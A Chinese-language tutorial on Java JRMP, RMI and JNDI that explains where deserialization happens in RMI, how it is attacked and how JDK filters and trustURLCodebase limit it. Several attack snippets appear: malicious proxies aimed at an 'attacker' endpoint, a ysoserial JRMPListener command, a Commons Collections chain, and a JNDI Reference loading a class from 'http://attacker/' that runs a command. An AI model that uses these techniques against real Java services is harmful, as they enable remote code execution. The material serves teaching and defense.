JAVA JRMP、RMI、JNDI、反序列化漏洞之间的风花雪月
字数 2132 2025-08-06 12:20:59
Java JRMP、RMI、JNDI与反序列化漏洞深度解析
0x01 前言
本文全面讲解Java远程通信中的核心协议和接口,以及相关的反序列化漏洞原理:
- Java JRMP、RMI、JNDI之间的关联和联系
- Java RMI使用原理及反序列化漏洞成因
- Java RMI中常见反序列化漏洞场景分类及分析
- JDK版本对反序列化漏洞的影响
- 反序列化漏洞的常见修复方案
一、JRMP协议
JRMP(Java Remote Message Protocol)是Java远程通信协议,特点:
- 为Java进程间通信设计
- 基于TCP的二进制协议
- 支持分布式垃圾回收(DGC)机制
二、RMI框架
RMI(Remote Method Invocation)是Java远程方法调用框架:
- 基于JRMP协议实现
- 允许跨JVM调用对象方法
- 类比于面向对象的RPC
三、JNDI服务
JNDI(Java Naming and Directory Interface)是Java命名和目录接口:
- 提供统一的命名和目录服务访问
- 支持的协议包括:
- LDAP
- CORBA COS命名服务
- RMI注册表
- DNS
0x02 RMI深入分析
RMI核心组件
RMI架构由三部分组成:
- Registry - 注册中心,管理远程对象引用
- Server - 服务端,提供远程对象实现
- Client - 客户端,调用远程方法
RMI工作流程
1. 创建注册中心
Registry registry = LocateRegistry.createRegistry(9999);
2. 服务端绑定对象
服务端需要:
- 定义远程接口(继承Remote)
- 实现远程对象(继承UnicastRemoteObject)
- 绑定到注册中心
// 接口定义
public interface Hello extends Remote {
public String welcome(String name) throws RemoteException;
}
// 实现类
public class Helloimp extends UnicastRemoteObject implements Hello {
public String welcome(String name) throws RemoteException {
return "hello"+name;
}
}
// 绑定对象
Hello hello = new Helloimp();
registry.bind("hellos",hello);
3. 客户端调用
Registry registry = LocateRegistry.getRegistry("localhost", 9999);
Hello hello = (Hello) registry.lookup("hellos");
System.out.println(hello.welcome("axin"));
RMI通信细节
-
Bind过程:
- Server发送序列化的stub(存根)对象到Registry
- stub包含skeleton(骨根)的地址信息
- Registry解析stub后向skeleton发送DGC dirty请求
- Server返回Lease对象维持引用
-
Lookup过程:
- Client发送lookup请求到Registry
- Registry返回对应的stub对象
- Client解析stub获取skeleton地址
- Client与skeleton建立连接进行远程调用
RMI反序列化漏洞场景
RMI通信中所有数据传输都通过序列化/反序列化,存在多处反序列化点:
-
Registry相关:
- Server→Registry:bind/rebind发送的stub对象
- Registry→Server:bind响应对象
- Registry→Server:DGC dirty请求
- Server→Registry:DGC lease响应
-
Client相关:
- Client→Registry:lookup请求参数
- Registry→Client:lookup返回的stub对象
- Client→Server:DGC dirty请求
- Server→Client:DGC lease响应
-
方法调用相关:
- 远程方法调用参数
- 远程方法返回结果
漏洞利用分析
1. 对存根对象的攻击
原理:替换正常stub为恶意序列化对象
利用条件:
- 对象需继承Remote接口
- 包含可利用的反序列化链
示例:
// 创建恶意代理对象
InvocationHandler handler = new RemoteObjectInvocationHandler(
new UnicastRef(new LiveRef(
new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint("attacker", 1234),
false
))
);
Remote proxy = (Remote) Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class<?>[] { Remote.class },
handler
);
// 绑定恶意对象
registry.bind("evil", proxy);
2. 对DGC机制的攻击
原理:伪造JRMP监听服务返回恶意对象
利用步骤:
- 启动恶意JRMP监听
- 构造特殊UnicastRef指向监听
- 触发DGC通信时返回恶意对象
示例:
// 使用ysoserial启动JRMP监听
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"
// 构造恶意Registry代理
Registry proxy = (Registry) Proxy.newProxyInstance(
Registry.class.getClassLoader(),
new Class[] { Registry.class },
new RemoteObjectInvocationHandler(
new UnicastRef(new LiveRef(
new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint("attacker", 1099),
false
))
)
);
3. 对方法参数的攻击
原理:远程方法参数或返回值中包含恶意对象
示例:
// 服务端实现返回恶意对象
public Object test() throws RemoteException {
// 构造CC链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", ...),
new InvokerTransformer("invoke", ...),
new InvokerTransformer("exec", ...)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chain);
return outerMap;
}
0x03 JNDI与RMI的结合利用
攻击原理
- JNDI支持RMI协议查询
- RMI服务可返回Reference对象
- JNDI客户端会解析Reference并加载指定类
- 通过控制Reference的codebase实现远程类加载
利用过程
- 搭建恶意RMI服务:
Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference("EvilClass", "EvilClass", "http://attacker/");
ReferenceWrapper refWrapper = new ReferenceWrapper(ref);
registry.bind("evil", refWrapper);
- 准备恶意类:
public class EvilClass {
static {
try {
Runtime.getRuntime().exec("calc");
} catch(Exception e) {}
}
}
- 触发漏洞:
new InitialContext().lookup("rmi://attacker:1099/evil");
漏洞限制
JDK 8u121+默认设置:
com.sun.jndi.rmi.object.trustURLCodebase=false
禁止从远程codebase加载类
0x04 JDK版本影响与修复
JDK防御措施
- ObjectInputFilter:
- JDK 8u121+引入
- 白名单限制可反序列化的类
- 应用于RMI通信层
private static Status registryFilter(FilterInfo var0) {
// 白名单检查
return String.class != var2 && !Number.class.isAssignableFrom(var2)
&& !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2)
&& !UnicastRef.class.isAssignableFrom(var2)
&& !RMIClientSocketFactory.class.isAssignableFrom(var2)
&& !RMIServerSocketFactory.class.isAssignableFrom(var2)
&& !ActivationID.class.isAssignableFrom(var2)
&& !UID.class.isAssignableFrom(var2)
? Status.REJECTED : Status.ALLOWED;
}
-
resolveClass/proxyClass限制:
- 重写ObjectInputStream方法
- 黑名单过滤危险类
-
JNDI远程加载限制:
- 默认禁止trustURLCodebase
- 防止远程类加载
修复方案总结
-
序列化过滤:
- 白名单机制(JDK官方方案)
- 黑名单机制(WebLogic方案)
-
类加载控制:
- 禁止远程类加载
- 限制ClassLoader使用
-
代码加固:
- 使用SecurityManager
- 限制敏感操作
0x05 总结
- RMI基于JRMP协议实现远程调用,全程使用序列化通信
- RMI架构中存在多处反序列化点,可构造恶意对象利用
- JNDI与RMI结合可通过Reference实现远程类加载攻击
- JDK通过白名单、黑名单等机制防御反序列化漏洞
- 修复关键在于控制反序列化过程和类加载行为